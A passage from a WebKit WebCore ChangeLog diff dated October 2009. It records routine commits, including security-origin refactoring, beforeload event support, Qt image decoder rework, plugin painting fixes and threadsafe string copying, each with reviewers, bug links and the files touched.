+        * workers/WorkerMessagingProxy.cpp:
+        (WebCore::MessageWorkerContextTask::create):
+        (WebCore::MessageWorkerContextTask::MessageWorkerContextTask):
+        (WebCore::MessageWorkerTask::create):
+        (WebCore::MessageWorkerTask::MessageWorkerTask):
+        (WebCore::WorkerMessagingProxy::postMessageToWorkerObject):
+        (WebCore::WorkerMessagingProxy::postMessageToWorkerContext):
+        * workers/WorkerMessagingProxy.h:
+        * workers/WorkerObjectProxy.h:
+
+2009-10-06  Adam Barth  <abarth@webkit.org>
+
+        Unreviewed build fix for Windows.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::load):
+
+2009-10-06  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Move FrameLoader::canLoad to SecurityOrigin
+        https://bugs.webkit.org/show_bug.cgi?id=30111
+
+        * WebCore.base.exp:
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::isSafeToLoadURL):
+        * loader/Cache.cpp:
+        (WebCore::Cache::requestResource):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::loadSubframe):
+        (WebCore::FrameLoader::loadPlugin):
+        (WebCore::FrameLoader::loadFrameRequest):
+        (WebCore::FrameLoader::loadResourceSynchronously):
+        (WebCore::FrameLoader::createJavaAppletWidget):
+        * loader/FrameLoader.h:
+        * loader/SubresourceLoader.cpp:
+        (WebCore::SubresourceLoader::create):
+        * page/SecurityOrigin.cpp:
+        (WebCore::SecurityOrigin::canLoad):
+        (WebCore::SecurityOrigin::shouldHideReferrer):
+        * page/SecurityOrigin.h:
+
+2009-10-06  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Move setLocalLoadPolicy and friends to SecurityOrigin
+        https://bugs.webkit.org/show_bug.cgi?id=30110
+
+        These have more to do with security policies than with loading frames.
+
+        * WebCore.base.exp:
+        * dom/Document.cpp:
+        (WebCore::Document::initSecurityContext):
+        * loader/Cache.cpp:
+        (WebCore::Cache::requestResource):
+        * loader/FrameLoader.cpp:
+        * loader/FrameLoader.h:
+        * loader/SubresourceLoader.cpp:
+        (WebCore::SubresourceLoader::create):
+        * page/SecurityOrigin.cpp:
+        (WebCore::SecurityOrigin::setLocalLoadPolicy):
+        (WebCore::SecurityOrigin::restrictAccessToLocal):
+        (WebCore::SecurityOrigin::allowSubstituteDataAccessToLocal):
+        * page/SecurityOrigin.h:
+        (WebCore::SecurityOrigin::):
+
+2009-10-06  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Brady Eidson.
+
+        Preparation for <http://webkit.org/b/30104>.
+        Inspector should show cookies of sub-resources on the page.
+        
+        Implement getRawCookies for CFNetwork for Windows, so we can see more
+        than just a key/value pair for Cookies when we are on Windows.
+
+        * platform/network/win/CookieJarCFNetWin.cpp:
+        (WebCore::getRawCookies):
+
+2009-10-06  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Adam Roben.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30132, make beforeload work with <link> elements and
+        XML processing instructions.
+
+        Fix up ProcessingInstruction's setData call so that it actually updates a stylesheet when the
+        data gets changed.
+
+        Move dispatchBeforeLoadedEvent to ContainerNode so all Elements (and ProcessingInstruction) can
+        access it.
+
+        Added fast/dom/beforeload/link-before-load.html
+
+        * dom/ContainerNode.cpp:
+        (WebCore::ContainerNode::dispatchBeforeLoadEvent):
+        * dom/ContainerNode.h:
+        * dom/ProcessingInstruction.cpp:
+        (WebCore::ProcessingInstruction::checkStyleSheet):
+        (WebCore::ProcessingInstruction::setData):
+        * dom/ScriptElement.cpp:
+        (WebCore::ScriptElementData::requestScript):
+        * dom/ScriptElement.h:
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::XMLTokenizer::endElementNs):
+        * html/HTMLLinkElement.cpp:
+        (WebCore::HTMLLinkElement::parseMappedAttribute):
+        (WebCore::HTMLLinkElement::process):
+        * html/HTMLScriptElement.cpp:
+        (WebCore::HTMLScriptElement::forAttributeValue):
+        * html/HTMLScriptElement.h:
+        * svg/SVGScriptElement.cpp:
+        * svg/SVGScriptElement.h:
+
+2009-10-06  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Mark Rowe.
+
+        accessibility/media-element.html crashes (and has incorrect result)
+        https://bugs.webkit.org/show_bug.cgi?id=30108
+
+        Fix up the accessibilty label for the newly added fullscreen button,
+        and update the test result accordingly.
+
+        * accessibility/AccessibilityMediaControls.cpp:
+        (WebCore::AccessibilityMediaControl::controlTypeName):
+
+2009-10-06  Kelly Norton  <knorton@google.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30028>
+        Multiple calls to SetFrontendProxyObject can leave an InspectorTimelineAgent with an invalid
+        InspectorFrontend.
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::setFrontendProxyObject): Adds a check for an existing timeline agent.
+
+2009-10-06  Antti Koivisto  <antti@apple.com>
+
+        Reviewed by Dave Kilzer.
+
+        Move textRects to the right category in DOM.mm. Include DOMPrivate.h to ensure that the interfaces match.
+
+        * bindings/objc/DOM.mm:
+        (-[DOMNode textRects]):
+
+2009-10-06  Benjamin C Meyer  <bmeyer@rim.com>
+
+        Reviewed by Ariya Hidayat.
+        
+        Match the behavior of other WebKit browser and have the first url of the drag data be the url passed in declareAndWriteDragImage and set the text of the drag data to be the title argument.
+        
+        Manual test: Drag the readability js link from http://lab.arc90.com/experiments/readability/
+        
+        * platform/qt/ClipboardQt.cpp:
+        (WebCore::ClipboardQt::declareAndWriteDragImage):
+
+2009-10-06  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Implement min/max attributes, ValidityState.rangeUnderflow and
+        ValidityState.rangeOverflow for <input type=number> and <input type=range>
+        https://bugs.webkit.org/show_bug.cgi?id=29069
+        
+        HTMLInputElement::max and min are not defined for COM because they
+        conflict with the standard min() and max() macros.
+
+        Tests: fast/forms/ValidityState-rangeOverflow-number.html
+               fast/forms/ValidityState-rangeOverflow-range.html
+               fast/forms/ValidityState-rangeUnderflow-number.html
+               fast/forms/ValidityState-rangeUnderflow-range.html
+               fast/forms/input-minmax.html
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::rangeUnderflow):
+        (WebCore::HTMLInputElement::rangeOverflow):
+        (WebCore::HTMLInputElement::rangeMinimum):
+        (WebCore::HTMLInputElement::rangeMaximum):
+        * html/HTMLInputElement.h:
+        * html/HTMLInputElement.idl:
+        * html/ValidityState.cpp:
+        (WebCore::ValidityState::rangeUnderflow):
+        (WebCore::ValidityState::rangeOverflow):
+        * html/ValidityState.h:
+        * rendering/RenderSlider.cpp:
+        (WebCore::SliderRange::SliderRange):
+        (WebCore::SliderRange::valueFromElement):
+
+2009-10-06  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Move m_openedByDOM to Page
+        https://bugs.webkit.org/show_bug.cgi?id=30109
+
+        We only need one instance of m_openedByDOM per page, we should move it
+        to a page-scoped object.  Notice that it's only ever touched for the
+        main frame.
+
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::createWindow):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::createWindow):
+        * loader/FrameLoader.cpp:
+        * loader/FrameLoader.h:
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::close):
+        * page/Page.cpp:
+        (WebCore::Page::Page):
+        (WebCore::Page::openedByDOM):
+        (WebCore::Page::setOpenedByDOM):
+        * page/Page.h:
+
+2009-10-06  Carol Szabo  <carol.szabo@nokia.com>
+
+        Reviewed by Ariya Hidayat.
+
+        [Qt] Some functions in GraphicsContext do not work
+        as expected if the associated painter has no clipping.
+        https://bugs.webkit.org/show_bug.cgi?id=29691
+
+        No new tests are associated with this because DumpRenderTree
+        always sets clipping on the painter, thus it would never hit 
+        the test case, but fast/box-shadow/basic-shadows.html is a
+        good example of what happens if the clipping is not set by
+        the user of QtWebKit.
+
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::clipOut):
+        (WebCore::GraphicsContext::clipOutEllipseInRect):
+        Fixed to handle the case that there is no clipping
+        before the call.
+
+2009-10-06  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Adam Roben.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30131, make beforeload fire on script elements.
+
+        Added tests in fast/dom/beforeload/.
+
+        * dom/ScriptElement.cpp:
+        (WebCore::ScriptElementData::requestScript):
+        * dom/ScriptElement.h:
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::XMLTokenizer::endElementNs):
+        * html/HTMLAttributeNames.in:
+        * html/HTMLScriptElement.cpp:
+        (WebCore::HTMLScriptElement::parseMappedAttribute):
+        (WebCore::HTMLScriptElement::dispatchBeforeLoadEvent):
+        * html/HTMLScriptElement.h:
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::scriptHandler):
+        * svg/SVGScriptElement.cpp:
+        (WebCore::SVGScriptElement::dispatchBeforeLoadEvent):
+        * svg/SVGScriptElement.h:
+
+2009-10-06  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25526
+        [Gtk] Additional support is needed for caret browsing
+
+        Enable caret movement commands also when caret browsing setting is
+        enabled.
+
+        * editing/EditorCommand.cpp:
+        (WebCore::caretBrowsingEnabled):
+        (WebCore::enabledVisibleSelectionOrCaretBrowsing):
+        (WebCore::enabledInEditableTextOrCaretBrowsing):
+        (WebCore::CommandEntry::):
+        * manual-tests/gtk/caret-browsing.html: Added.
+
+2009-10-06  Anton Muhin  <antonm@chromium>
+
+        Reviewed by Dimitri Glazkov.
+
+        Non standard, but popular exetension allows automagically
+        turn a function into a namespace resolver.  Support that in
+        Chromium as well.
+
+        Adjust CodeGeneratorV8 to treat XPathNSResolver in a special way.
+        https://bugs.webkit.org/show_bug.cgi?id=30128
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8DOMWrapper.h:
+        (WebCore::V8DOMWrapper::getXPathNSResolver):
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-10-06  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: close inspector client view on
+        InspectorController::close API call.
+
+        In order to run batch web inspector layout tests (and not affect
+        subsequent tests) we should close inspector client's view upon
+        InspectorController::close API call.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30009
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::inspectedPageDestroyed):
+        (WebCore::InspectorController::close):
+
+2009-10-06  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        Fix the Qt/Windows build by stubbing out the still image
+        support for halted plugins for the Qt build.
+
+        Bugzilla entry https://bugs.webkit.org/show_bug.cgi?id=30130
+        tracks removing this by implementing Frame::nodeImage().
+
+        * plugins/win/PluginViewWin.cpp:
+        (WebCore::PluginView::halt):
+
+2009-10-05  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Change QImageReader usage in ImageDecoderQt
+        https://bugs.webkit.org/show_bug.cgi?id=27538
+
+        Replace the ReadContext with another appoach to
+        reading the image. Attempt to only read meta information
+        like the image size and number of frames (for animations)
+        first and then when the page is getting drawn decode
+        the image with the QImageReader.
+
+        This is a huge benefit on pages with many images and saves
+        ~2GB of memory on the szeged image test page.
+
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::ImageDecoderQt):
+        (WebCore::ImageDecoderQt::setData):
+        (WebCore::ImageDecoderQt::isSizeAvailable):
+        (WebCore::ImageDecoderQt::frameCount):
+        (WebCore::ImageDecoderQt::repetitionCount):
+        (WebCore::ImageDecoderQt::filenameExtension):
+        (WebCore::ImageDecoderQt::frameBufferAtIndex):
+        (WebCore::ImageDecoderQt::clearFrameBufferCache):
+        (WebCore::ImageDecoderQt::internalDecodeSize):
+        (WebCore::ImageDecoderQt::internalReadImage):
+        (WebCore::ImageDecoderQt::internalHandleCurrentImage):
+        (WebCore::ImageDecoderQt::forceLoadEverything):
+        (WebCore::ImageDecoderQt::failRead):
+        * platform/graphics/qt/ImageDecoderQt.h:
+
+2009-10-05  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Make use of RGBA32Buffer in ImageDecoderQt
+        https://bugs.webkit.org/show_bug.cgi?id=27538
+
+        Use the RGBA32Buffer instead of the internal ImageData
+        to be able to use support of the base class, optionally
+        support WebCore decoders for Qt and most importantly
+        separate metadata and image data for better cache control.
+
+        Remove ImageSourceQt as everything is now shared with
+        the normal ImageSource.
+
+        Change the ownership of the NativeImagePtr/QPixmap in
+        ImageQt.cpp to delete the m_frame to be subject to cache
+        control.
+
+        * WebCore.pro:
+        * platform/graphics/ImageSource.cpp:
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::ReadContext::ReadContext):
+        (WebCore::ImageDecoderQt::ReadContext::read):
+        (WebCore::ImageDecoderQt::ReadContext::readImageLines):
+        (WebCore::ImageDecoderQt::ImageDecoderQt):
+        (WebCore::ImageDecoderQt::setData):
+        (WebCore::ImageDecoderQt::frameCount):
+        (WebCore::ImageDecoderQt::frameBufferAtIndex):
+        (WebCore::ImageDecoderQt::clearFrameBufferCache):
+        * platform/graphics/qt/ImageDecoderQt.h:
+        * platform/graphics/qt/ImageSourceQt.cpp: Removed.
+        * platform/image-decoders/ImageDecoder.h:
+        (WebCore::RGBA32Buffer::decodedImage):
+        (WebCore::RGBA32Buffer::getAddr):
+        * platform/image-decoders/qt/RGBA32BufferQt.cpp: Added.
+        (WebCore::RGBA32Buffer::RGBA32Buffer):
+        (WebCore::RGBA32Buffer::setDecodedImage):
+        (WebCore::RGBA32Buffer::clear):
+        (WebCore::RGBA32Buffer::zeroFill):
+        (WebCore::RGBA32Buffer::copyBitmapData):
+        (WebCore::RGBA32Buffer::setSize):
+        (WebCore::RGBA32Buffer::asNewNativeImage):
+        (WebCore::RGBA32Buffer::hasAlpha):
+        (WebCore::RGBA32Buffer::setHasAlpha):
+        (WebCore::RGBA32Buffer::setStatus):
+        (WebCore::RGBA32Buffer::operator=):
+        (WebCore::RGBA32Buffer::width):
+        (WebCore::RGBA32Buffer::height):
+
+2009-10-05  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] ImageDecoderQt avoid QString creation.
+        https://bugs.webkit.org/show_bug.cgi?id=27538
+
+        Avoid going from CString to QString to String
+        and go directly from CString to String. Also
+        avoid going to lower case to avoid an extra
+        memory allocation.
+
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoder::create):
+        (WebCore::ImageDecoderQt::ImageDecoderQt):
+        * platform/graphics/qt/ImageDecoderQt.h:
+
+2009-10-05  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Cleanup the ImageDecoder of Qt.
+        https://bugs.webkit.org/show_bug.cgi?id=27538
+
+        Remove the various enums for partial load. The fact is
+        that this image decoder will decode everything that is
+        in the file at once. Make it look like it behaves to
+        ease fixing this core problem.
+
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::ImageData::ImageData):
+        (WebCore::ImageDecoderQt::ReadContext::ReadContext):
+        (WebCore::ImageDecoderQt::ReadContext::read):
+        (WebCore::ImageDecoderQt::ReadContext::readImageLines):
+        (WebCore::ImageDecoderQt::hasFirstImageHeader):
+        (WebCore::ImageDecoderQt::setData):
+        * platform/graphics/qt/ImageDecoderQt.h:
+
+2009-10-04  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Reimplement instead of overload frameCount in ImageDecoderQt.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=27538
+
+        Reimplement frameCount instead of overloading it.
+
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::frameCount):
+        * platform/graphics/qt/ImageDecoderQt.h:
+
+2009-10-04  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] QImageReader does not support progressive reading
+        https://bugs.webkit.org/show_bug.cgi?id=27538
+
+        Change the ImageDecoderQt::setData to store the encoded
+        data in ImageDecoder.
+
+        Only call ReadContext when the whole Resource has been
+        loaded to avoid needless calls to reset and the
+        ReadContext as progressive loading is not supported.
+
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::setData):
+        * platform/graphics/qt/ImageDecoderQt.h:
+
+2009-10-04  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Remove dead code from ImageDecoderQt
+        https://bugs.webkit.org/show_bug.cgi?id=27538
+
+        Remove unused variables and debugging code. The debug
+        code has never been used and does not provide anything
+        useful.
+
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::ReadContext::read):
+        (WebCore::ImageDecoderQt::ReadContext::readImageLines):
+        (WebCore::ImageDecoderQt::setData):
+        (WebCore::ImageDecoderQt::isSizeAvailable):
+        (WebCore::ImageDecoderQt::frameCount):
+        (WebCore::ImageDecoderQt::repetitionCount):
+        (WebCore::ImageDecoderQt::filenameExtension):
+        (WebCore::ImageDecoderQt::imageAtIndex):
+
+2009-10-06  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] segfault when calling gst_video_format_parse_caps in the video sink
+        https://bugs.webkit.org/show_bug.cgi?id=30120
+
+        Fix use of gst_video_format_parse_caps()
+
+        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
+        (webkit_video_sink_idle_func):
+
+2009-10-06  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Update mediaControls CSS
+
+        * css/mediaControlsQt.css:
+
+2009-10-06  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Get rid of Preferences.ignoreWhitespace.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30092
+
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMAgent):
+        (WebInspector.DOMAgent.prototype._childNodeCountUpdated):
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeOutline.prototype.update):
+        (WebInspector.ElementsTreeElement):
+        (WebInspector.ElementsTreeElement.prototype.onpopulate):
+        (WebInspector.ElementsTreeElement.prototype._updateChildren.updateChildrenOfNode):
+        (WebInspector.ElementsTreeElement.prototype._updateChildren):
+        * inspector/front-end/TextPrompt.js:
+        (WebInspector.TextPrompt.prototype.isCaretAtEndOfPrompt):
+        * inspector/front-end/inspector.js:
+        * inspector/front-end/utilities.js:
+        (Node.prototype.rangeOfWord):
+        (traverseNextNode):
+        (traversePreviousNode):
+        (onlyTextChild):
+
+2009-10-06  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Do not call nodeTitleInfo twice +
+        followup fixes for r49101.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30087
+
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement):
+
+2009-10-06  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Windowless plugins: Enable painting on printer.
+
+        The print preview dialog crashed because the depth of the drawable
+        changed owing to a bug in Qt - if you draw onto a 32-bit pixmap,
+        and set a 24-bit pixmap as source, it will convert the source to
+        32-bit.
+
+        1210fa5b2d65895ad2be1f9ca7cae586e3b29dc1 is the bug fix in Qt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=20081
+
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::paint):
+
+2009-10-06  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Windowless plugins: Make painting and events work when page is zoomed.
+
+        The element gets resized when zoomed. So, we have to make sure that we resize
+        the drawable and do a setwindow call. Multiple calls to setwindow do not
+        crash plugin in windowless mode (unlike in windowed mode).
+
+        For mouse events we have to convert the pos to post-zoom position.
+
+        https://bugs.webkit.org/show_bug.cgi?id=20081
+
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::setXButtonEventSpecificFields):
+        (WebCore::setXMotionEventSpecificFields):
+        (WebCore::setXCrossingEventSpecificFields):
+        (WebCore::PluginView::handleMouseEvent):
+        (WebCore::PluginView::setNPWindowIfNeeded):
+
+2009-10-06  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Windowless plugins: Add PluginQuirkRequiresDefaultScreenDepth quirk for Flash.
+
+        Flash does not use the visual provided by us to draw into the drawable.
+        It instead uses the system default visual (as returned by XDefaultVisual).
+        This means that if the screen default visual is 24-bit, Flash won't be
+        able to draw on 32-bit drawable created by us. This is a bug in Flash
+        and for the moment, the above quirk is only set for Flash.
+
+        Our strategy to create the drawable:
+        1. Create a 32-bit drawable if the default screen depth is 32 or the
+        quirk is not set (i.e not flash)
+        2. If we didn't create a 32-bit drawable (maybe the Display has no such
+        visual), we create a drawable with default screen depth.
+
+        As a result of the above changes, content propagation behavior changes as:
+        1. Content propagation is possible only if the drawable we create and
+        Qt's backing store are of the same depth.
+        2. If we created a 32-bit drawable, there is no need for content
+        propagation (Qt will take care of it).
+
+        https://bugs.webkit.org/show_bug.cgi?id=20081
+
+        * plugins/PluginPackage.cpp:
+        (WebCore::PluginPackage::determineQuirks):
+        * plugins/PluginQuirkSet.h:
+        (WebCore::):
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::PluginView):
+        * plugins/PluginView.h:
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::updatePluginWidget):
+        (WebCore::PluginView::paint):
+        (WebCore::getVisualAndColormap):
+        (WebCore::PluginView::platformStart):
+        (WebCore::PluginView::platformDestroy):
+
+2009-10-06  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Ariya Hidayat.
+
+        Qt build fix.
+        https://bugs.webkit.org/show_bug.cgi?id=29362.
+
+        In Qt 4.5, a new function QPainter::fillRect(QRect, QColor) is
+        introduced to avoid the expensive construction of QBrush.
+        By casting WebCore::Color to QColor, we can compile on Qt 4.4
+        and use optimization for solid color fill in Qt 4.5.
+
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::drawRect):
+        (WebCore::GraphicsContext::drawLine):
+        (WebCore::drawBorderlessRectShadow):
+
+2009-10-05  Andrei Popescu  <andreip@google.com>
+
+        Reviewed by Eric Carlson.
+
+        Allow the platform media player to know the <video> poster URL.
+        Add MediaPlayerPrivate::prepareToPlay() to support media engines
+        that do not buffer video data automatically. This method allows
+        such media engines to start the buffering just before starting
+        playback.
+        https://bugs.webkit.org/show_bug.cgi?id=29133
+
+        All platforms that currently implement <video> return false
+        in MediaPlayerPrivate::canLoadPoster() and do nothing in
+        MediaPlayerPrivate::prepareToPlay() their behavior is
+        unchanged. The current set of media test should then be
+        sufficient to guarantee that this patch does not break anything.
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::loadResource):
+        After the MediaPlayer is created, inform it what the poster URL is.
+        (WebCore::HTMLMediaElement::updatePlayState):
+        Add another case where prepareToPlay is called for the platforms
+        that do not buffer video content automatically.
+        (WebCore::HTMLMediaElement::couldPlayIfEnoughData)
+        Same as potentiallyPlaying, except that we don't check for
+        the readyState being at least HAVE_FUTURE_DATA.
+        * platform/graphics/MediaPlayer.cpp:
+        (WebCore::NullMediaPlayerPrivate::canLoadPoster):
+        Empty implementation for the NullMediaPlayerPrivate.
+        (WebCore::NullMediaPlayerPrivate::setPoster):
+        Empty implementation for the NullMediaPlayerPrivate.
+        (WebCore::MediaPlayer::canLoadPoster):
+        Proxy to the m_private.
+        (WebCore::MediaPlayer::setPoster):
+        Proxy to m_private.
+        * platform/graphics/MediaPlayer.h:
+        * platform/graphics/MediaPlayerPrivate.h:
+        (WebCore::MediaPlayerPrivateInterface::canLoadPoster):
+        (WebCore::MediaPlayerPrivateInterface::setPoster):
+        Add new methods that allow the platform player to receive the poster URL.
+        (WebCore::MediaPlayerPrivateInterface::prepareToPlay):
+        Notifies the media engine that playback should start. The media engine
+        should start preparing (e.g. by initializing the player and starting to buffer)
+        and call back when the state is changed to HAVE_FUTURE_DATA.
+
+2009-10-06  David Levin  <levin@chromium.org>
+
+        Reviewed by Oliver Hunt.
+
+        StringImpl needs a method to get an instance for another thread which doesn't copy the underlying buffer.
+        https://bugs.webkit.org/show_bug.cgi?id=30095
+
+        All String::copy methods were changed to call either threadsafeCopy or crossThreadString. The method
+        call was made threadsafeCopy unless I could show that threadsafety wasn't needed.
+
+        No visible change in functionality so no new tests.
+
+        * dom/MessagePortChannel.cpp:
+        (WebCore::MessagePortChannel::EventData::EventData):
+        * loader/WorkerThreadableLoader.cpp:
+        (WebCore::WorkerThreadableLoader::MainThreadBridge::MainThreadBridge):
+        * loader/icon/IconDatabase.cpp:
+        (WebCore::IconDatabase::open):
+        (WebCore::IconDatabase::iconForPageURL):
+        (WebCore::IconDatabase::iconURLForPageURL):
+        (WebCore::IconDatabase::retainIconForPageURL):
+        (WebCore::IconDatabase::releaseIconForPageURL):
+        (WebCore::IconDatabase::setIconDataForIconURL):
+        (WebCore::IconDatabase::setIconURLForPageURL):
+        (WebCore::IconDatabase::databasePath):
+        (WebCore::IconDatabase::defaultDatabaseFilename):
+        * page/SecurityOrigin.cpp:
+        (WebCore::SecurityOrigin::SecurityOrigin): Since this is used by SecurityOrigin::threadsafeCopy,
+        it makes threadsafe calls.
+        (WebCore::SecurityOrigin::threadsafeCopy): The only place that called this
+        needed a threadsafe method.
+        * page/SecurityOrigin.h:
+        * platform/CrossThreadCopier.cpp:
+        (WebCore::::copy):
+        * platform/KURL.cpp:
+        (WebCore::KURL::copy):
+        * platform/network/HTTPHeaderMap.cpp:
+        (WebCore::HTTPHeaderMap::copyData):
+        * platform/network/ResourceErrorBase.cpp:
+        (WebCore::ResourceErrorBase::copy):
+        * platform/network/ResourceRequestBase.cpp:
+        (WebCore::ResourceRequestBase::copyData):
+        * platform/network/ResourceResponseBase.cpp:
+        (WebCore::ResourceResponseBase::copyData):
+        * platform/sql/SQLValue.cpp:
+        (WebCore::SQLValue::SQLValue):
+        (WebCore::SQLValue::string):
+        * platform/sql/SQLValue.h:
+        (WebCore::SQLValue::SQLValue):
+        All constructors now initialize the m_number which is a double. Failure to
+        do so can result in unexpected crashes when it is copied in the copy constructor.
+        See http://blogs.msdn.com/oldnewthing/archive/2008/07/02/8679191.aspx, I was that colleague.
+        * platform/text/PlatformString.h:
+        * platform/text/String.cpp:
+        (WebCore::String::threadsafeCopy):
+        (WebCore::String::crossThreadString):
+        * platform/text/StringImpl.cpp:
+        Removed StringImpl::substringCopy which was no longer being used anywhere.
+        (WebCore::StringImpl::threadsafeCopy): Changed the name to indicate that
+        it is threadsafe.
+        (WebCore::StringImpl::crossThreadString): The way to get strings for
+        another thread which is not threadsafe. This shares the underlying buffer
+        with both strings and gives them a way to do threadsafe refcounting for it.
+        * platform/text/StringImpl.h:
+        * storage/ChangeVersionWrapper.cpp:
+        (WebCore::ChangeVersionWrapper::ChangeVersionWrapper):
+        * storage/Database.cpp:
+        (WebCore::updateGuidVersionMap):
+        (WebCore::Database::Database):
+        (WebCore::Database::getVersionFromDatabase):
+        (WebCore::Database::setVersionInDatabase):
+        (WebCore::Database::version):
+        (WebCore::Database::setExpectedVersion):
+        (WebCore::Database::securityOriginCopy):
+        (WebCore::Database::stringIdentifier):
+        * storage/DatabaseTracker.cpp:
+        (WebCore::DatabaseTracker::scheduleNotifyDatabaseChanged):
+        * storage/OriginQuotaManager.cpp:
+        (WebCore::OriginQuotaManager::addDatabase):
+        * storage/SQLError.h:
+        (WebCore::SQLError::message):
+        (WebCore::SQLError::SQLError):
+        * storage/SQLStatement.cpp:
+        (WebCore::SQLStatement::SQLStatement):
+        * storage/StorageAreaSync.cpp:
+        (WebCore::StorageAreaSync::syncTimerFired):
+        * storage/StorageMap.cpp:
+        (WebCore::StorageMap::importItem):
+        * storage/StorageNamespaceImpl.cpp:
+        (WebCore::StorageNamespaceImpl::StorageNamespaceImpl):
+        * storage/StorageSyncManager.cpp:
+        (WebCore::StorageSyncManager::StorageSyncManager):
+        * workers/DefaultSharedWorkerRepository.cpp:
+        (WebCore::SharedWorkerProxy::url): Do the copy of the url in a way that is threadsafe.
+        (WebCore::SharedWorkerProxy::name):
+        (WebCore::SharedWorkerProxy::SharedWorkerProxy):
+        (WebCore::DefaultSharedWorkerRepository::getProxy): Do the copy of the url in a way that is threadsafe.
+        * workers/SharedWorkerThread.cpp:
+        (WebCore::SharedWorkerThread::SharedWorkerThread):
+        * workers/WorkerMessagingProxy.cpp:
+        (WebCore::MessageWorkerContextTask::MessageWorkerContextTask):
+        (WebCore::MessageWorkerTask::MessageWorkerTask):
+        (WebCore::WorkerExceptionTask::WorkerExceptionTask):
+        * workers/WorkerRunLoop.cpp:
+        (WebCore::WorkerRunLoop::Task::Task):
+        (WebCore::WorkerRunLoop::postTaskForMode):
+        * workers/WorkerThread.cpp:
